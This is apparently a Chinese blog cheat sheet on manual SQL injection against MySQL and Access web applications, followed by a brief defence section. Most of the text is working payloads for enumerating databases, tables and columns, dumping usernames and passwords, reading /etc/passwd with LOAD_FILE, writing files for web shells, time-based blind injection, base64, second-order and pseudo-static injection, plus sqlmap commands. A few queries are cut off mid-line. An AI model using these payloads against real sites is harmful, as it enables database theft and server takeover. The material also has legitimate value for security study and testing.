0.明白存在的位置:get型 post型 cookie型 http頭注入
1.先測(cè)試注入點(diǎn),注冊(cè)框、搜索框、地址欄啥的,判斷是字符型,搜索型還是數(shù)字型
字符型 1' and '1'='1 成功, 1' and '1'='2 報(bào)錯(cuò) 1成功,1'報(bào)錯(cuò) 注意閉合
萬(wàn)能密碼:1' or ’1‘=’1 #
數(shù)字型去掉'同理
搜索型 select password from users where user like '% admin %' 注意通配符閉合
SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有數(shù)據(jù),除非limit 1,原理和萬(wàn)能密碼一樣,后接了or 此where功能失效,相當(dāng)于SELECT * FROM `users`
2.猜字段,判斷select返回的有多少字段(多少列)
1’ order by 1 #
1’ order by 2 #. //原理是2是按照select后返回的第二列排序顯示。如果沒有這一列,報(bào)錯(cuò)
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
and 1=2 代表業(yè)務(wù)內(nèi)的查詢一定不會(huì)成功,不顯示,讓它顯示union之后的語(yǔ)句,看看報(bào)錯(cuò)或者顯示到幾,就知道業(yè)務(wù)查詢了幾個(gè)字段(列)
union查詢前后的列數(shù)必須相等, 1,2,3,4,5是為了湊字段(例),湊夠才能正常執(zhí)行,同時(shí)還能判斷網(wǎng)站顯示位,
有關(guān)limit:前面是admin' and 1=2 union select....limit 1 //不顯示原有查詢,只從自己構(gòu)造的查詢里取前一條
admin' and 1=2 union select....limit 2 //不顯示原有查詢,只從自己構(gòu)造的查詢里取前兩條
admin' and 1=2 union select....limit 0,1 //不顯示原有查詢,只從自己構(gòu)造的查詢里從第1條位置開始,取1個(gè)數(shù)據(jù)
admin' and 1=2 union select....limit 2,4 //不顯示原有查詢,只從自己構(gòu)造的查詢里從第3條位置開始,取4個(gè)數(shù)據(jù)
3.查詢數(shù)據(jù)庫(kù)名,
union select database(),2 # //后面如果是字符型接#注釋掉后面的,database(),2按照要求要返回同原始查詢相同數(shù)目的字段數(shù),也可以接 database(),database(),湊夠原始查詢字段數(shù)就可以
version(), database(),user()這幾個(gè)相當(dāng)于全局變量 , 在數(shù)據(jù)庫(kù)中直接select version()就會(huì)返回對(duì)應(yīng)的數(shù)據(jù)庫(kù)版本信息;
跨庫(kù)旁注:
一。查看所有數(shù)據(jù)庫(kù)名
1'union select 1,schema_name from schemata #
4.查詢表名
有了數(shù)據(jù)庫(kù)下一步就是確定其中有哪些數(shù)據(jù)表,我們可以通過(guò)mySQL數(shù)據(jù)庫(kù)自帶的information_schema來(lái)知道,這個(gè)information_schema就是用來(lái)存儲(chǔ)mySQL數(shù)據(jù)庫(kù)所有信息的數(shù)據(jù)庫(kù)??梢钥吹綌?shù)據(jù)庫(kù)中有一些數(shù)據(jù)表
其中有tables數(shù)據(jù)庫(kù),用來(lái)存放數(shù)據(jù)表的信息。插入以下的payload
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查詢出來(lái)的數(shù)據(jù)庫(kù)名’ # 前面依然保持字段數(shù)
不出意外,下面除了第一行正常數(shù)據(jù),下面的都是所在業(yè)務(wù)數(shù)據(jù)庫(kù)表名,自行通過(guò)limit限制查詢指定表
像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,沒有就報(bào)錯(cuò)
information_schema.tables:
information_schema數(shù)據(jù)庫(kù)下的tables表名,含義:存儲(chǔ)所有數(shù)據(jù)庫(kù)下的表名信息的表。
Table_schema:數(shù)據(jù)庫(kù)名
Table_name:表名
5.了解列名
我們還不知道這個(gè)數(shù)據(jù)表里有哪些字段(列),這就要用到mysql里 information_schema其中columns這個(gè)數(shù)據(jù)表了。插入如下的payload
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一個(gè)表名’ and table_schema=’業(yè)務(wù)所在的數(shù)據(jù)庫(kù)名’
假如出來(lái)了user 和password字段
information_schema.columns:
information_schema數(shù)據(jù)庫(kù)下的columns表名,含義:存儲(chǔ)所有數(shù)據(jù)庫(kù)下的列名信息的表。
Column_name:列名
6.啥都知道了,直接查
1' union select user,password from users
以下為轉(zhuǎn)載防備忘
//這個(gè)可以判斷數(shù)據(jù)庫(kù)的版本是否為數(shù)字5開頭
select * from db where 1 = 1 and mid(version(),1,1)=5
//通過(guò)union查詢可以獲取數(shù)據(jù)庫(kù)的版本信息, 當(dāng)然了, union查詢要求字段一定匹配;
select * from orders union select 1,version() from orders
//確定查詢的字段數(shù),如果返回成功, 那么union會(huì)成功;
select * from orders union select 1,1 from orders
//通過(guò)在where后面添加and ord(mid(version(),1,1))<50 判斷數(shù)據(jù)庫(kù)的版本號(hào)
select * from db where 1 = 1 and ord(mid(version(),1,1))<50
//這個(gè)可以查詢到當(dāng)前的用戶信息(比如root)
select * from orders union select database(),user() from orders
//返回用戶數(shù)
select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user
//獲取用戶名為root的密碼;
select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'
//根據(jù)當(dāng)前字段數(shù)獲取information_schema中保存所有數(shù)據(jù)庫(kù)信息
select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
//information_schema.TABLES這個(gè)字段保存的是mysql的表信息
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100
//獲取world這個(gè)數(shù)據(jù)庫(kù)的表結(jié)構(gòu), 當(dāng)然, 你首先爆數(shù)據(jù)庫(kù)名;
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100
//獲取字段, 要知道數(shù)據(jù)庫(kù)和表的名字,就可以獲取字段的名字了
select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci //尼瑪啊, 喲了root這個(gè)是直接爆密碼的節(jié)奏啊;
select * from orders where 1=1 and 1=2 union select User,Password from mysql.use
//如果略顯無(wú)聊, 我們可以利用;insert into orders(name) values('hehe');增加自己想要的字段;
select * from orders where 1=1 ;insert into orders(name) values('hehe');
//我們可以把查詢出來(lái)的數(shù)據(jù)保存,當(dāng)然了,你要知道保存的目錄.... 就是傳jsp, asp, php小馬, 小馬傳大馬, 大馬傳木馬, 然后就呵呵了( ̄▽ ̄)"
select user from mysql.user where 1=1 into outfile 'e:/sql.txt';
//o(^▽^)o,下面是轉(zhuǎn)載的,防忘記,
暴字段長(zhǎng)度
order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內(nèi)置函數(shù)暴數(shù)據(jù)庫(kù)信息
database() user()
version():數(shù)據(jù)庫(kù)版本
@@version_compile_os:操作系統(tǒng)
不用猜解可用字段暴數(shù)據(jù)庫(kù)信息(有些網(wǎng)站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統(tǒng)信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
數(shù)據(jù)庫(kù)權(quán)限:
and ord(mid(user(),1,1))=114 /* 返回正常說(shuō)明為root
暴庫(kù) (mysql>5.0)
Mysql 5 以上有內(nèi)置庫(kù) information_schema,存儲(chǔ)著mysql的所有數(shù)據(jù)庫(kù)和表結(jié)構(gòu)信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(kù)(十六進(jìn)制) limit 0(開始的記錄,0為第一個(gè)開始記錄),1(顯示1條記錄)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1 //限制僅顯示一條信息,避免頁(yè)面出錯(cuò)
高級(jí)用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE(0x2F6574632F706173737764); |
load_file()常用的敏感信息見我另外一篇博客,暴路徑寫馬拿shell的一些姿勢(shì)
replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 "<" 替換成"空格" 返回的是網(wǎng)頁(yè).而無(wú)法查看到代碼.
9.盲注
基于時(shí)間的盲注:
sleep()函數(shù)可以延時(shí)是使數(shù)據(jù)庫(kù)執(zhí)行,同時(shí)也可以判斷當(dāng)前語(yǔ)句是否能正確執(zhí)行,正確執(zhí)行會(huì)延時(shí)
例如:union select 1,2,sleep(5) from....
if(條件,true參數(shù),false參數(shù)),如果條件成立,返回true參數(shù),否則返回false參數(shù)
0.明白 ’ and if(length(database())=6,sleep(5),sleep(0)) --+ 管用,這里頁(yè)面正不正常無(wú)所謂,重要的是看執(zhí)行時(shí)間
1.定字段數(shù)
union select 1,2,sleep(2) //order by失效時(shí)判斷是不是3個(gè)字段(結(jié)果集的列、顯示位),是則延遲兩秒顯示結(jié)果
2.定數(shù)據(jù)庫(kù)
union select1,2,sleep( if(length(database())=5,5,0) ) from....//判斷數(shù)據(jù)庫(kù)名長(zhǎng)度是不是5位,是的話網(wǎng)頁(yè)延遲5秒執(zhí)行,否則立即執(zhí)行,也可以用>5、<5來(lái)判斷
簡(jiǎn)單的:.php?id=1 and sleep( if(length(database())=5,5,0) ) 也可以行的通,因?yàn)檫@里sleep一定會(huì)執(zhí)行。
union select1,2,sleep( if(mid(database(),1,1)='s',5,0) ) from...//判斷數(shù)據(jù)庫(kù)名第一位是不是s,此法可逐位猜解數(shù)據(jù)庫(kù)名
http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0)) -- # //判斷數(shù)據(jù)庫(kù)名字第二位是不是v
3.定表名
admin' and 1=2 union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #
//dvwa數(shù)據(jù)庫(kù)第二個(gè)表位置,取一個(gè)數(shù)量的表,判斷它表名第一位是不是u,是的話延時(shí)5秒顯示結(jié)果
select * from users union select sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判斷表內(nèi)有沒有admin,有就延遲5秒顯示,否則三秒,從第一條位置開始取一條結(jié)果,且只讓sleep執(zhí)行一次,否則延遲元組數(shù)*5秒
4.定列名
也是以下思路,先用length判斷長(zhǎng)度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,這個(gè)函數(shù)是asc()
基于布爾型的盲注:
旁注原理很簡(jiǎn)單,跨庫(kù)注入,不說(shuō)了。
10.加密注入、base64注入
http://127.0.0.1/sqlin/base64/index.php?id=MSBhbmQgMT0x
id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出來(lái),
流程:業(yè)務(wù)層base64加密生成,顯示在url上面,然后傳入后臺(tái)時(shí)base64解密,與MD5大寫或者小寫(不超過(guò)F)一種加數(shù)字,位數(shù)固定相比,base64位數(shù)不固定26種字母加大小寫混編,后面常常以等于號(hào)結(jié)束。
滲透思路,滲透的sql語(yǔ)句先用工具base64加密,再拼接在注入點(diǎn)后面
11.二次注入
很智慧,在能輸入的地方,比如留言板之類寫入sql語(yǔ)句。然后這些語(yǔ)句提交后被當(dāng)作評(píng)論或正常內(nèi)容送入數(shù)據(jù)庫(kù)存儲(chǔ)。
數(shù)據(jù)存進(jìn)去了,查看的時(shí)候好戲來(lái)了,自己發(fā)的內(nèi)容被展示時(shí),查詢語(yǔ)句和自己提交的sql語(yǔ)句拼接,達(dá)到查詢敏感信息,有注入效果。
比如一張表user有ID 、password、profile。填寫介紹時(shí),在profile寫 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1
而碰巧業(yè)務(wù)查詢語(yǔ)句是select id,password,profile from user where id=' $id '或者select * from user where id=' $id ',正好就拼接成了
select * from user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在織夢(mèng)CMs里以前經(jīng)常出這些問(wèn)題。
而顯示如果是類似$while(isset($result)){ echo $id $password $profile}這樣的語(yǔ)句。返回的是自己注入的信息。
12.偽靜態(tài)注入:
http://127.0.0.1/index/id/1.html
可以經(jīng)過(guò)中轉(zhuǎn)為.php?id=1注入,也可以進(jìn)行手動(dòng)測(cè)試
http://127.0.0.1/index/id/1/**/and/**/1=1.html,注釋只能用/**/不能用#
還有的后面是用base64加密的偽靜態(tài)
跑sqlmap時(shí):sqlmap -u http://127.0.0.1/index/id/1*.html
注意一下就可以了,原理思路還是和普通注入一樣。
13防御加固:
過(guò)濾函數(shù):
2.魔術(shù)引號(hào)(‘ " null \)。magic_quotes_gpc所有被返回的數(shù)據(jù)都會(huì)被\轉(zhuǎn)義。php4.3.4是一個(gè)分界點(diǎn)
3.自定義的過(guò)濾函數(shù)、正則表達(dá)等
4.參數(shù)化sql、存儲(chǔ)過(guò)程
php.ini合理配置,dispaly_error關(guān)掉。不顯示報(bào)錯(cuò)路徑
聯(lián)系客服